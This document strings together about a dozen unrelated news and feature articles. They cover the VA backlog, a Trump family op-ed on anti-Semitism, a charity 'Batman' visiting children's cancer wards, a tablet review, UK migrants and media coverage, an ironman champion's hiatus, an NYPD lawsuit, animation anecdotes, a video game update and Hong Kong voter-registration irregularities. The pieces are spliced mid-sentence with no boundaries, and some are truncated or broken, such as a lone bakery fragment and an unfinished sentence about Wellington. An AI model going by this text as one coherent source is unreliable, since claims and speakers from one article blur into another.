The influx of claims has since fallen, and the backlog is greatly diminished—though there is controversy over how the administration has dealt with the claims. (For more on the administration's struggle to fix the VA, see here.)
"As a candidate, Barack Obama promised veterans the moon, but in many cases he hasn't delivered as president," said Republican Representative Jeff Miller of Florida, the chairman of the House Veterans Affairs Committee. "VA's disability claims backlog grew to historic levels on his watch.… Candidate Obama promised the most transparent administration in history, but his VA is a case study in how to stonewall the press, the public, and Congress."
Congress
Miller's own branch of government, however, cannot claim clean hands.
The VA could be overhauled to better address the needs of modern veterans, including reforms to the way it processes claims, assesses the performance of its employees, and measures its overall performance. But putting many of those reforms in place would require an act of Congress—and thus far those haven't happened.
Instead, Congress has taken a more reactive approach. When incidents—such as the recent hospital deaths—capture public attention, lawmakers hold hearings where they berate agency officials with juicy sound bites they can later play back for their constituents. It's good political theater, but it's unclear that the payoff is anything other than political.Arla Knudsen was a purity-ring-wearing Christian… until she realized she just didn’t feel that way anymore. She told the New York Times about how she shed her faith and subsequently tried to overcome her virginity, too:
When I was a kid, I loved making cheese sandwiches. I made them every day. And then, one day, I was like, no, like, I can’t do this anymore. I’ve eaten too many. I think that’s almost my taste for religion. It’s a food that you don’t want to eat anymore. I made the decision that I wasn’t going to wait.
While her first experience wasn’t the greatest thing ever (is it ever?), it gave her a sort of freedom she didn’t have when she was wearing the ring. I’m sure a lot of people could share similar stories.
(Thanks to Terry for the link)My father-in-law is not an anti-Semite.
It’s that simple, really. Donald Trump is not anti-Semitic and he’s not a racist. Despite the best efforts of his political opponents and a large swath of the media to hold Donald Trump accountable for the utterances of even the most fringe of his supporters—a standard to which no other candidate is ever held—the worst that his detractors can fairly say about him is that he has been careless in retweeting imagery that can be interpreted as offensive.
I read the Dana Schwartz piece that appeared on Observer.com. As always, there are thoughtful points but journalists, even those who work for me at the Observer, are not always right. While I respect her opinion, I want to show another side to explain why I disagree.
In my opinion, accusations like “racist” and “anti-Semite” are being thrown around with a carelessness that risks rendering these words meaningless.
If even the slightest infraction against what the speech police have deemed correct speech is instantly shouted down with taunts of “racist” then what is left to condemn the actual racists? What do we call the people who won’t hire minorities or beat others up for their religion?
This is not idle philosophy to me. I am the grandson of Holocaust survivors. On December 7, 1941—Pearl Harbor Day—the Nazis surrounded the ghetto of Novogroduk, and sorted the residents into two lines: those selected to die were put on the right; those who would live were put on the left. My grandmother’s sister, Esther, raced into a building to hide. A boy who had seen her running dragged her out and she was one of about 5100 Jews to be killed during this first slaughter of the Jews in Novogrudok. On the night before Rosh Hashana 1943, the 250 Jews who remained of the town’s 20,000 plotted an escape through a tunnel they had painstakingly dug beneath the fence. The searchlights were disabled and the Jews removed nails from the metal roof so that it would rattle in the wind and hopefully mask the sounds of the escaping prisoners.
My grandmother and her sister didn’t want to leave their father behind. They went to the back of the line to be near him. When the first Jews emerged from the tunnel, the Nazis were waiting for them and began shooting. My grandmother’s brother Chanon, for whom my father is named, was killed along with about 50 others. My grandmother made it to the woods, where she joined the Bielski Brigade of partisan resistance fighters. There she met my grandfather, who had escaped from a labor camp called Voritz. He had lived in a hole in the woods—a literal hole that he had dug—for three years, foraging for food, staying out of sight and sleeping in that hole for the duration of the brutal Russian winter.
I go into these details, which I have never discussed, because it’s important to me that people understand where I’m coming from when I report that I know the difference between actual, dangerous intolerance versus these labels that get tossed around in an effort to score political points.
The difference between me and the journalists and Twitter throngs who find it so convenient to dismiss my father in law is simple. I know him and they don’t.
It doesn’t take a ton of courage to join a mob. It’s actually the easiest thing to do. What’s a little harder is to weigh carefully a person’s actions over the course of a long and exceptionally distinguished career. The best lesson I have learned from watching this election from the front row is that we are all better off when we challenge what we believe to be truths and seek the people who disagree with us to try and understand their point of view.
In December 1972, a month after Richard Nixon’s 49-state landslide, the New Yorker’s great film critic Pauline Kael gave a speech that said “I live in a rather special world. I only know one person who voted for Nixon. Where they are I don’t know. They’re outside my ken.” I encourage Ms. Schwartz—and all reporters—to get out there and meet some of those people “outside their ken.” One of the reasons the Observer has more than quadrupled its traffic over the last three-plus years is that we’ve been actively broadening our perspective.
The fact is that my father in law is an incredibly loving and tolerant person who has embraced my family and our Judaism since I began dating my wife. His support has been unwavering and from the heart. I have personally seen him embrace people of all racial and religious backgrounds, at his companies and in his personal life. This caricature that some want to paint as someone who has “allowed” or encouraged intolerance just doesn’t reflect the Donald Trump I know. The from-the-heart reactions of this man are instinctively pro-Jewish and pro-Israel. Just last week, at an event in New Hampshire, an audience member asked about wasting money on “Zionist Israel.” My father-in-law didn’t miss a beat in replying that “Israel is a very important ally of the United States and we are going to protect them 100 percent.” No script, no handlers, no TelePrompter—just a strong opinion from the heart.
There’s real racism in the world. There’s real anti-Semitism in the world. These are pernicious, dispiriting truths. Some of the tweets that Ms. Schwartz has received, depicting her being thrown into an oven, for example, are beyond disgusting. I am appalled that anyone, let alone someone who works for me, would have to endure that kind of hateful rhetoric. But blaming Donald Trump for the most outrageous things done by people who claim to support him is no different from blaming Bernie Sanders for the people who stomp and spit on American flags at his rallies.
I tell people that Donald Trump is a Rorschach test. People see in him what they want to see—if they dislike his politics, they might see other things they dislike, such as racism. If they like his politics, they might imagine they’re hearing “dog whistles.” He will touch subjects politicians try to avoid. This is part of why he appeals to so many.
This notion that has emerged that holds my father in law responsible for the views of everyone who supports him is frankly absurd. Not only is this expectation completely unique to Donald Trump, but it’s clear how easily it could be used to manipulate the public. Don’t like a candidate? Hire some goons to go hold signs in favor of that candidate at a rally. A few months ago, my father in law completely and totally disavowed the support of one of America’s best-known racists. The issue immediately became whether the seconds it took for him to do so proved that he was insufficiently committed to fighting racism. |
bakery in Los Angeles. Look for a full selection of award-winning donuts, cupcakes, cookies, bagels (with vegan butter!), and other savory items daily.View Photo Gallery: Meet the Route 29 Batman.
Police pulled a man over on Route 29 in Silver Spring last week because of a problem with his plates. This would not ordinarily make international news, but the car was a black Lamborghini, the license plate was the Batman symbol, and the driver was Batman, dressed head-to-toe in full superhero regalia.
HOLY MOVING VIOLATION!
It didn’t take long before images of the Dark Knight’s encounter with law enforcement began turning up in Facebook news feeds, on CNN and the London tabloids. The episode even made it into Jimmy Fallon’s monologue on NBC earlier this week.
Jokers emerged instantaneously too. “Let him do his job,” one commenter urged on the Post Web site. “Batman has expensive taste,” noted another. Meanwhile, questions about Batman’s identity mounted: “Did they make him take off his mask?” someone asked.
No, they did not. Even Montgomery County police honor a superhero code of conduct, just like the Howard County officers who once helped him with a flat bat tire. Batman told officers his real name was not Bruce Wayne but Lenny B. Robinson, and that his real tags were in the car. (He was not ticketed then, but has been before for a heavy bat foot.)
The Caped Crusader is a businessman from Baltimore County who visits sick children in hospitals, handing out Batman paraphernalia to up-and-coming superheros who first need to beat cancer and other wretched diseases.
“I’m just doing it for the kids,” he says.
But in light of him going viral — “Gotham City is on the verge of chaos,” Anderson Cooper informed CNN viewers — I asked him whether I could unveil the man behind the mask. He acquiesced but suggested I do so by accompanying him to the cancer ward at Children’s National Medical Center in Northwest Washington for a superhero party thrown by the Hope for Henry organization.
On Monday, he pulled up in his black Lambo with yellow Batman symbols on the doors, the floor mats, the headrests — pretty much everywhere — and he was dressed in his heavy leather and neoprene uniform that he bought from a professional costume maker.
He carried two large bags of Batman books, rubber Batman symbol bracelets and various other toys up to the front desk, where the check-in attendant asked him his name.
“Batman,” he said.
Lenny B. Robinson and Wonder Woman (Leslie Vincent from Cast of Thousands) visit patients at the annual Hope for Henry Superhero Celebration at Georgetown University Hospital. (Allen Goldberg)
The check-in attendant asked for identification. Batman said it was in his Batmobile. The check-in attendant, just doing her job, asked for his real name. “Lenny,” he announced. “B, as in Batman. Robinson.”
It took Batman approximately 20 minutes to reach the elevators. He stopped to hand out Batman toys to every child he saw, picking them up for pictures, asking them how they were feeling. LaTon Dicks snapped a photo of Batman standing behind her son DeLeon in his wheelchair. She’d recognized the Batmobile on her way in to the hospital. Like everyone else, she’d seen a TV report on him being stopped by the police and protested, “You can’t pull over Batman.”
When Batman finally reached the elevator for the slow ride up to the cancer ward, I could see his face already sweating behind the mask. He told me he loses 5 to 6 pounds in water weight when he wears the superhero uniform. He paid $5,000 for it. He spends $25,000 a year of his own money on Batman toys and memorabilia. He signs every book, hat, T-shirt and backpack he hands out — Batman.
Batman is 48. He is a self-made success and has the bank account to prove it. He recently sold, for a pile of cash, a commercial cleaning business that he started as a teenager. He became interested in Batman through his son Brandon, who was obsessed with the caped crusader when he was little. “I used to call him Batman,” he told me. “His obsession became my obsession.”
Batman began visiting Baltimore area hospitals in 2001, sometimes with his now teenage son Brandon playing Robin. Once other hospitals and charities heard about his car and his cape, Batman was put on superhero speed dial for children’s causes around the region. He visits sick kids at least couple times a month, sometimes more often. He visits schools, too, to talk about bullying. He does not do birthday parties.
His superhero work is limited to doing good deeds, part of a maturation process in his own life. In his earlier years, he acknowledges that he sometimes displayed an unsuperhero-like temper and got into occasional trouble with the law for fights and other confrontations. Putting on the Batman uniform changes and steadies him.
“Eventually, it sinks in and you become him,” Batman told me. “It feels like I have a responsibility that’s beyond a normal person. And that responsibility is to be there for the kids, to be strong for them, and to make them smile as much as I can.” He understands that might sound corny, but he doesn’t care.
View Photo Gallery: Five things you can learn from a superhero.
Batman stepped off the elevator on the fourth floor of Children’s. Spider-Man and Wonder Woman were there too — both professional actors from talent agencies, on the clock. He picked up a little boy and said, “I have a present for you.” He shook hands with a father and handed him a yellow rubber Batman bracelet, saying, “This will bring you good luck.” The father said, “We need good luck.”
The parents always say that.
Batman asked each child his or her name. He lifted up almost every child. Many were weak, their hair thin from chemo. He always told them, “I have a present for you.” When a little girl ran away, perhaps a bit scared, Batman said, “That’s the story of Batman’s love life.” (He is divorced.)
Batman overheard a mother tell someone that her toddler was going home the next day, and holding the toddler, and hugging him gently, Batman said, “I’m really glad you are feeling better.”
Stephanie Broadhead of California, Md., was leaning against the wall while her 10-year-old daughter Claire was having her face drawn by an artist. Claire has leukemia. Batman stopped by to marvel at the picture and hand Claire some gifts. “This makes a very hard thing to deal with a little easier,” Claire’s mom said.
Superhero visits to hospitals let kids be kids in a scary, adult place, but the activities are indeed therapeutic, too, the chief doctor on the cancer floor told me.
“These visits provide an immediate boost for these kids,”said Jeffrey Dome, the oncology division chief at Children’s. “Some of these children have to stay for weeks or months at a time. That wears down the children and it wears down the family. You have to keep up morale. A visit from a superhero is sort of like a fantasy in the middle of all this hard-core therapy.”
As Batman wandered around from child to child, I asked him, “Isn’t this hard?”
His children are healthy. My children are healthy.
“We are very lucky,” he said. “All I can say is we are very, very lucky.”
The party began winding down. Spider-Man changed out of his costume. Wonder Woman changed out of hers. They said goodbye to Batman, still working the floor, as he posed for a photo with a patient’s father. The father thanked Batman and said, “I saw you on the news — Route 29.”
“I think everyone saw me on Route 29,” Batman acknowledged. He asked the nurses at the front desk whether there were any children who couldn’t come out of their rooms to see him.
Assured that there weren’t, Batman headed back down to his Batmobile, followed by the mother of a baby girl with cancer and her healthy 4-year-old son, whose only goal in life at that moment was to see the Batmobile. When the boy saw the car, I thought his eyeballs were going to separate from his body. (Batman is actually in the process of having a just-like-the-movies Batmobile built for $250,000, but it’s not ready yet.)
Batman revved the engines and blasted the audio system — the Batman theme song. Na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, na, Batman! He revved the engine some more. The little boy didn’t want to say goodbye, but his mom told him, “Batman needs to go fight the bad guys.”
The little boy cried.
“I want to go help him fight the bad guys,” he said.
His mom said, “You need to go help your sister fight cancer.”
Batman sped away.
More on this story:
Photos: Batman brightens spirits of hospitalized children
Video: Dashboard-camera view of Batman getting pulled over
Batman pulled over in Silver Spring
Q&A with Batman: Gas mileage, motivation, heroes and more
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What the tablet lacks in looks, however, it makes up for in other areas. The Note 8.0 centers its user experience on the S Pen stylus, once a curio, now a staple of the Galaxy Note family. Coupled with Samsung’s “Premium” suite of supporting apps and a few clever tricks, the latest entry in the Galaxy Note lineup just might prove to be a compelling contender. Let’s see how it stacks up against the competition.
Eye of the beholder
Nate Ralph Samsung Galaxy Note 8.0
The plain plastic shell doesn’t do much to help this model stand out from competing tablets. But that's all right; the Note 8.0 is sturdy, and while it’s technically a bit heavier than Google’s Nexus 7 (by about 5 grams), you’ll be hard-pressed to notice much of a difference. My hands are admittedly a bit large, but the 8-inch device is no more cumbersome than the Nexus 7 or Apple’s iPad Mini, and I had no trouble toting it while sitting or lounging about.
The accoutrements are fairly standard: The headphone jack sits on the top edge, and the Micro-USB port sits on the bottom. The right side offers a power button, volume control buttons, and an IR blaster for controlling your television with Samsung’s WatchOn app. The left side hosts the MicroSD card slot; you can use 32GB MicroSD cards to bolster the 16GB tablet’s paltry 10GB of available storage space.
Nate Ralph The speakers on the Galaxy Note 8.0 are located at the bottom of the device.
Under the hood are 2GB of RAM and a quad-core 1.6GHz Exynos processor, which drive the 8-inch 1280 by 800 TFT display. While 1080p displays are all the rage on larger tablets and new smartphones, the Note 8.0's display suits its screen size rather well. The vibrant screen offers accurate color reproduction and generous viewing angles, though glare and reflections become a problem should you take the tablet outside into direct sunlight.
A pair of speakers sit on the bottom edge of the device, and although they’re fairly loud and deliver decent audio quality (devoid of much in the way of bass, as expected), their position means that you need to keep an eye on your hands when holding the tablet in landscape mode, as you'll inevitably block the speakers and muffle the sound.
Keeping up with the Joneses
Multiwindow mode
The Note 8.0's specs look great on paper, so its stellar performance isn’t really a surprise. The tablet tackled all of the Android games I threw at it with aplomb, and streamed HD video with grace. The results become especially impressive if you're a fan of Samsung's multiwindow feature, which allows you to split the device’s screen in two and use a select number of apps on either side. I’ve yet to find the allure of watching YouTube clips while browsing the Web, and the Note 8.0's 8-inch screen makes things a bit more cramped than the displays of larger, more generous devices like the Galaxy Note 10.1. But doing so is possible, and it works rather well.
Strong performance always takes a toll in some way, however. The Note 8.0 eked out a middling 7 hours, 30 minutes on our video-playback battery tests, falling behind competitors such as the Nexus 7 and iPad Mini. I got quite a bit more juice out of the Samsung tablet by moderating the amount of streaming I did and not getting overly enthusiastic with my gaming sessions, but monitoring battery life is never fun. The Note 8.0’s battery performance isn’t catastrophic by any stretch, but if you’re a heavy user or you rarely hang around a power outlet, keep this in mind.
Nate Ralph A sample photo taken with the Galaxy Note 8.0.
Almost forgot: The Note 8.0 has two cameras, a 1.3-megapixel camera on the front and a 5-megapixel shooter on the rear. The front-facing camera is suitable enough for video chats, but nothing to write home about. The rear-facing camera is actually fairly decent. The slow auto-focus ultimately limits your shooting speed, but the camera produces decent images in a pinch, even on its default shooting mode. You'll find toggles to tweak the ISO, white balance, and exposure—as well a macro focus mode and a number of scene settings—but I never found much reason to futz with those. I never found much reason to use the camera to shoot anything actually, but tablet cameras are apparently popular enough for companies to keep including them, so have at it. The tablet has no flash, though.
Battle of the bloat
And then there’s the S Pen. I’ll be blunt—I love styluses. The Note 8.0’s virtual keyboard isn’t bad, but I’ll always appreciate being able to scrawl with a pen over trying to find a nice position to prop a tablet up. The S Pen is docked into a small groove on the Note 8.0’s right corner, and it offers much more than just excellent handwriting recognition.
For starters, the Note 8.0’s “page buddy” feature reacts to how you’re using the device, popping up context-aware home-screen pages when you do things like plug in headphones or set the tablet in a dock. I configured it to change the virtual keyboard to a pen-friendly handwriting-recognition pad whenever I detached the pen, making it easy to jump between typing quick search queries or writing extensive notes. You can even use the pen to operate the capacitive buttons on the front of the device, which is neat.
But I’m not sure it’s worth all of the extra baggage. The S Pen stylus is a capable device, and plenty of apps take advantage of it, but Samsung’s TouchWiz software largely consists of apps that replicate native Google functionality, and the sheer number of them is a bit overwhelming. You’ll find a calendar app, voice control software, a number of options for playing or sharing media, Samsung’s own app store, and more. When you first fire up the device, it prompts you to register for a Samsung account (it’s optional) before you even enter your Google credentials, which can be incredibly confusing if this is your first experience with Samsung’s wares.
Bottom line
The Galaxy Note 8.0 offers strong performance, neat features (especially if you like styluses), and most important, a great user experience. But it costs $400, and it offers only Wi-Fi connectivity and 16GB of storage. A cellular version is available outside of the United States, and the omission here is lamentable, since you can buy a 32GB Nexus 7 with cellular connectivity for $300. Sure, the Nexus 7 is getting a bit long in the tooth, but that's a $100 difference.
Are the S Pen, a faster processor, and an extra inch of screen real estate worth that much to you? If so, you won't be disappointed. But as fond as I am of the stylus—and honestly, the entire package—I’m hesitant to call the Note 8.0 a clear victory for Samsung.
This story, "Review: Samsung Galaxy Note 8.0 is pricey but has its charms " was originally published by TechHive.For all the time dedicated to the immigration debate in the papers and on TV, there is one voice you rarely hear from: immigrants themselves. No-one asks what their opinion is. No-one asks how the coverage affects them.
Migrant Voice has taken a step toward addressing this with research covering the impact of the immigration debate on those who have come to live here. It is startling. Those who once felt they belonged here are starting to feel as if they do not. They are exhausted. They feel as if they need to justify their existence every day.
I've been given the preliminary finding of the report, which is due to come out in a few weeks. The research was conducted between June and August, with migrants from a wide range of backgrounds using an online survey, one-to-one interviews and focus group sessions in Birmingham, Glasgow and London. A total of 182 people took part. They're mostly between 25 and 44 years old and have overwhelmingly been living in the UK over three years. The largest group was black African in origin – Nigeria was the most popular country - followed by white European and white other, with Poland and Slovakia leading the pack.
Once upon a time, things were more positive. Even now, the majority still feel they belong in the UK and are well integrated into society. As one said:
"I've been here for 25 years. And I feel this is home for me. I feel 100% British. And I feel I'm happy I took the decision to stay in this country. I have three children who are doing very well. So I feel this is a country of opportunities, where everyone who wants to work hard can achieve."
But 63% of respondents said the debate on immigration exerts an influence on their sense of belonging. Most migrants aren't even comfortable calling it a debate. A debate involves two sides talking. They feel they are just being shouted at. Only 12% of all articles on immigration actually bother to quote an immigrant. Less than four per cent of respondents felt politicians or the media represented migrants in an accurate way.
As Nazek Ramadan, director of the group, says:
"This research shows that migrants feel a sense of belonging in their local communities. Unfortunately they feel less a part of the country as a 'debate' about migration goes on around them without them being part of it and with the evidence and context missing. Most are increasingly anxious and even expressed fear for themselves and their families at the direction of the 'debate' by many leaders and in some media."
Which stories most affected migrants? They appear to have been particularly hurt by the coverage of Bulgarian and Romanian communities, but also by the 'Go Home' van campaign and increases in stop and search.
Two-thirds of those participating in the research said they had been personally affected by the tone of the coverage. It’s worth listening to them express it in their own words:
"Sometime the media make you feel ashamed and of course, with the consequent feeling of being out of place."
"It makes me feel like we are guilty of everything, that migrants should be blamed for everything. Even starting from the economic crisis, through to the benefits problems, bedroom tax and the NHS cuts. Everything. That's how it’s being portrayed by the media."
"While I normally feel perfectly integrated, the words used by some politicians and sections of the media make me feel excluded."
The cruel irony is that the media commentary often includes demands for immigrants to integrate, but it is the tone of the commentary which actually pushes them away and makes them feel less at home.
"How can you feel like you belong in a society that makes it all too clear it hates you and wants you gone?"
"I used to feel like I belonged. Now I feel unwelcomed."
Participants were asked to select from 12 words to explain how the coverage made them feel. The most popular word was 'worried' followed by'sad', 'not welcomed', 'threatened' and 'insulted'. Fewer than ten selected the words 'valued' or 'included'. Under 'other' they wrote: 'disgraced', 'embarrassed','scapegoated', 'angry' and 'depressed'.
Chillingly, one wrote:
"I prefer to send email rather than speak on the phone for I don't want to be treated differently just because of my accent."
There is a glimmer of hope. The anger is directed at politicians and the media. But the coverage has not yet had an overwhelming effect on migrants' daily life in their community or the way they see their neighbours. Fifty-six per cent said the debate had no effect on their relationship with the British public – although 44% said it did. This broadly tallies with polling showing anti-immigrant views to be most popular where there are the fewest immigrants. Despite the noise, on the streets this remains a mostly good-tempered country.
But how long will it withstand the brazen irresponsibility of the political class and the media? MPs are united – almost to a man – in never saying a single positive word about immigrants. Every day the press grows ever more accusatory and hateful in its coverage. Migrants themselves are frozen out, turned into the other - a workshy, benefit-claiming parasite who is simultaneously taking all the best jobs. Ukip consciously conducts its debate in base terms, whipping up anti-immigrant sentiment in order to serve its political programme.
If we continue down this road, they will pit our communities against one another. The immigration debate, and the manner in which it is being conducted, is doing us terrible damage.Wellington is undefeated in 13 ironman competitions
Four-time world ironman champion Chrissie Wellington has announced she will take a break from the sport this year to "explore other opportunities".
The 34-year-old has confirmed she will not compete in ironman competitions throughout 2012.
"I'm so incredibly happy and content with everything I've achieved," she told BBC Radio Norfolk.
"Looking forward I've realised there are so many opportunities inside and out of the sport that I want to seize."
WELLINGTON FACTFILE Born: 18 February, 1977
Embarked on professional career in 2007
Ironman world champion in 2007, 2008, 2009 and 2011 (did not compete in 2010 due to illness)
World record holder over ironman distance with time of 8:18:13
Competed in 13 professional ironman races, winning all of them
Wellington, from Feltwell in Norfolk, is unbeaten in 13 ironman races, is the female world record holder and secured her.
In July last year she recorded a best ever time of eight hours 18 minutes and 13 seconds in Germany to beat her own record by a minute.
She went on to secure a fourth world title, despite entering the race with a host of injuries following a bike accident in training.
But for Wellington, who has only been competing professionally for five years, 2012 will be spent focusing on activities away from the sport.
"It's not the end by any stretch. It's a chance for me to sit back and celebrate what I've achieved," she explained.
"In February my book is being launched. I really want to use the book to impart some of the messages and lessons I've learned.
Wellington rules out Olympic intention
"I also want to be more actively involved with the charities I support. There might be some more media opprtunities which I can't specify at the moment.
"And I want to be in the country when the Olympics is on. Now it's in our country I would love to spectate, volunteer, do anything in and around the Olympics."
Welington was one of the strongest critics of the all-male shortlist for last year's BBC Sports Personality of the Year award and has signalled her intention to raise the profile of female athletes and the ironman discipline.A disabled Vietnam veteran has filed suit against the suspended NYPD detective who was accused last week of masturbating while peeping through children’s windows — claiming the disgraced cop attacked him, maced him and arrested him without cause last year.
Sylvester Wilson, who walks with a cane, said he came upon the alleged serial pervert detective, Robert Francis, in June 2016 as the now-suspended cop was issuing a summons to the driver of an illegal “dollar van,” according to the Brooklyn federal court lawsuit filed late Wednesday.
The 67-year-old vet, who lives in Prospect Heights, Brooklyn, says he didn’t know the driver but intervened on behalf of him because he thought the guy deserved a break.
Wilson says he told Francis, “He is a hardworking person. What you are doing is wrong” — which the papers say prompted the cop to shove the man in the chest and knock him to the ground before walking away.
Wilson, who also lives with a heart condition, says he went to the local precinct to report the cop but was told that without a name or badge number, he was out of luck.
About three months later, Wilson came upon the detective again in Fort Greene, Brooklyn, and attempted to take a picture of his badge, but Francis covered it with a newspaper and walked into a nearby clothing store, according to the lawsuit filed by attorney Alexander Dudelson.
Wilson hobbled after him into the store, where Francis sneered, “Now you are trespassing,” grabbed him, dragged him outside and blasted him with pepper spray before cuffing him and throwing him into his marked police car, the suit says.
The vet was later arraigned on trespassing and other charges, after Francis filed a phony report saying Wilson had spit on him and “flailed” during his arrest, the suit claims.
The charges against Francis were eventually dismissed. The case was sealed in January by the Brooklyn DA’s office, but Wilson still says he suffered irreparable injury and humiliation due to Francis’ actions.
“There was no reason for what he did to an innocent person like me, to assault me the way he did,” an emotional Wilson told The Post on Thursday.
“I could have spent 10 to 20 years in jail,” he said, tearing up at the thought.
Still, Wilson said he was “shocked” to hear of the perverted allegations against Francis.
“He doesn’t deserve to be a detective,” the veteran added. “He is not fit as a person who serves the public.”
The suit which also names the city for hiring Francis cites excessive force, false arrest, and malicious prosecution.
“We have not seen the suit,” a city Law Department spokesman said. “It will be reviewed once we are served.”
A phone number for Francis was not in service. No lawyer was listed for him on court documents.More Than One Way to Dunk Godzilla. From the book “Inside the TV Business (1979) by Paul Klein and Steve Morgenstern, Hanna-Barbera legend Joe Barbera talked about the challenge of staging a dramatic shot and staying in budget:
“You have a budget and you have to stay within it and you have to do footwork, and tricks to come out with an effect. Here’s an example, on a storyboard we had Godzilla fighting a firebird, sort of a pterodactyl type of monster. We staged the scene where Godzilla is clutching his adversary and they fall off screen down into the water. The network wanted to see it from above as a more dramatic shot rather than them sliding off camera and then the next shot is a splash of water.
“To do it as the network wanted would require cutting back to do a longer shot to see them fall. Well that means a lot of drawings of very complicated prehistoric characters and a lot of water animation. You may have seen slow motion films of a drop of water hitting. First it hits, then it begins to come up, and then another drop comes out and then it hits and then it bubbles and then it spreads. That’s eight billion drawings.
“That’s one of the things that gave Disney some of his biggest problems in his time, by the way. He used to think that that was important. Well, we have found out that that isn’t important. I told the network that they should drop off, there would be a tremendous splash and then we would cut to the water bubbling and boiling and steam coming up. That’s still a terrific effect to my way of thinking.”
Rockfish. In 2005 actor Vin Diesel’s film production company, One Race Films, and animation house Blur Studio partnered to build a multi-media franchise around Blur’s RockFish, the multiple award winning 2003 animated short.
The project was envisioned as a CGI feature length, family friendly film based on the character Sirus Kirk from Rockfish that was created by writer/director Tim Miller.
Rockfish was set on a barren planet in a distant corner of the galaxy. Sirus Kirk is a no-nonsense working man tasked with rounding up creatures that “swim” through rocks far below the planet’s surface and plague the miners who live and work there. The story starts out as just another day on the job for Kirk and his little alien pet but quickly turns into a titanic struggle with the catch of his life.
The short came to the attention of Diesel because Blur had done some work for his videogame production company. At the time, there was also talk of making Rockfish into a video game or holding off until the release of the feature.
The Double Death of Studio Ghibli. Studio Ghibli has released several animated feature film hits but it was on the verge of going out of business twice and not because of financial challenges. In 1989, soon after the release of Kiki’s Delivery Service became a huge hit, director Hayao Miyazaki proposed closing the studio because he believed that one organization could produce maybe three to four classic works before losing its touch and he wanted to quit while he was ahead.
Producer Toshio Suzuki, who headed Studio Ghibli, convinced Myazaki that it shouldn’t happen because it would be a waste of “a group of geniuses”.
In 1992, Suzuki himself proposed breaking up the studio because of the need to make a huge investment in digitization.
“I don’t think the Japanese creative mind is very suited for 3-D,” stated Miyazaki. “We need to continue because we also have a social responsibility to do 2-D animation.”
“Miyazaki may have said that because there were more films he wanted to make at the studio,” commented a smiling Suzuki.
Pete Docter’s Secret Origin. In a Chicago Sun-Times article in June 2005, Pixar director Pete Docter revealed “I played violin growing up. I sat through a lot of recitals. You’re nine years old. You’re bored. I ended up drawing in the corners of all the programs, and imagining what would happen if the string broke or if the kettle drum got a hole in it, or just different gags. Today, as I’m animating a scene, I’ll hear it in my head like a piece of music. Often directing animated characters is about setting up a rhythm and breaking it – it’s like a joke. I see no point in trying to just copy real life. You want realism? Get a camera. Much faster, much cheaper.”
Joe Grant. Disney Legend Joe Grant was renowned for his story contributions to Disney animated feature films but he is also credited with coining the title “Monsters Inc.” in 1997 as a parody of the phrase “Murder Inc.” for Pixar. Pete Docter, who directed Monsters Inc., (2001), recalled, “Once when Joe and I were talking over some story concepts, he asked, ‘What are you giving the audience to take home?’ He meant, what part of the story will lodge in the audience’s heart that they’ll remember for days or even years. I think about that every day and I’ll be thinking about him and his advice for a long, long time.”
The Voice of the Penguin. Tom McGrath was a storyboard artist on Madagascar (2005) and during production got promoted to co-director. He also got another role in the film. He had been voicing the lead penguin, the tough-as-nails Skipper, on the temporary scratch tracks. Everyone liked his performance so much that he was cast in the role because they couldn’t find anyone they liked better. The role had been offered to tough guy actor Robert Stack but he died before production began on the animation.
Skipper’s right-hand bird, Kowalski, is played by Chris Miller (Magic Mirror in Shrek’s 1 and 2 and director of Shrek 3). Christopher Knights, an assistant editor plays Private. And, a little know fact is that Rico is voiced –or rather “expressed” –by an uncredited DreamWorks CEO Jeffrey Katzenberg.
“The irony for us is that he’s (Rico) the one who doesn’t talk,” said Madagascar producer Mireille Soria. “There’s something very Dadistic about that, isn’t there?”After an exciting week of teasers, one of the more significant Gran Turismo 6 updates has finally been released: 1.16! Weighing in at 536MB, it includes one of the most-requested and beloved original tracks in the history of the franchise: Midfield Raceway. First introduced in GT2 and last seen in GT4, the track has received a complete refresh, with time-of-day and weather changes.
B-Spec mode also arrives in 1.16, and brings with it a new set of more granular driver controls. The MINI Clubman Vision Gran Turismo car is also now available. Polyphony Digital’s official list of new features is below – be sure to check our GT6 forums as the community uncovers more undocumented changes and tweaks.
Vision Gran Turismo
The “MINI Clubman Vision Gran Turismo” has been released. After the update has been installed, the cars can be purchased from the [Vision GT] option within the [CARS] section in “My Home”. Alternatively, it is also possible to obtain the cars by completing a lap (regardless of the lap time) in the new Seasonal Events, available only for a limited time.
Mid-Field Raceway
The popular original track of the Gran Turismo series makes a comeback with further refinements! This high speed circuit is built on a mountain landscape full of inclines and descents.
It is further made dynamic by the famous grade separated crossing where the direction of the lap circle changes, and its long flat out sections and mid- to high-speed corners.
B-Spec
The event races of Career mode are now compatible with B Spec, where the AI drivers race for the player. You can use B Spec for races you might find difficult to complete such as some of the longer endurance races, or when you just want to watch the race. You can select [B-Spec] from the quick menu displayed before the start of event races.
New Paint Feature
The [Paint] feature is now compatible with custom rear wings. In addition, [Select from previously applied paint color] has been added to the menus inside the Paint feature to make it easier to paint the body and wing in the same color.
Additional cars available to paint
The Mazda LM55 Vision Gran Turismo and the Chevrolet 2X Vision Gran Turismo is now compatible with the body paint feature.
Other
The steering wheel controller force feedback has been weakened for the Red Bull X Series Fan Car.
More Posts On...A Hong Kong voter was found to be registered in an address on the 27th floor of a residential building which only has 19 floors, drawing attention once again to potential voter registration fraud.
The pro-democracy Civic Party reported the case to authorities on Tuesday. The party said three other people in the same building at Hoi Fu Court in Mong Kok were registered on the non-existent 22nd and 26th floor.
Andy Yu Tak-po from the party expressed concerns the “phantom voters” were “planted” deliberately for this year’s district council elections in November, according to a report in Stand News.
Vice chairwoman of the party Tanya Chan told HKFP it’s not the first time peculiar addresses were found in the voter registration system.
“The Registration and Electoral Office should allocate some resources to do a basic screening to find suspicious addresses,” Chan said, “Obvious ones like lamp posts, parks and flats that don’t exist should be looked into,” Chan said.
Earlier this month, Apple Daily reported a lamp post was registered as a voter address. The Registration and Electoral Office later said it has accepted the address after it found a homeless person was living there.
Meanwhile, the Democratic Party said it has also found suspicious voter addresses. Chai Man-hon, a district councillor from the party, said on Facebook that he and his team will file a complaint to the Registration and Electoral Office. Chai also urged authorities to kick out voters who deliberately register wrong addresses from its system.
In 2011, a flat in Sham Shui Po was found to be the registered address of 13 voters with seven different family names, reported Apple Daily. According to a report by Ming Pao, three people who registered to vote in the district elections named a five-star hotel as their residential address this month.
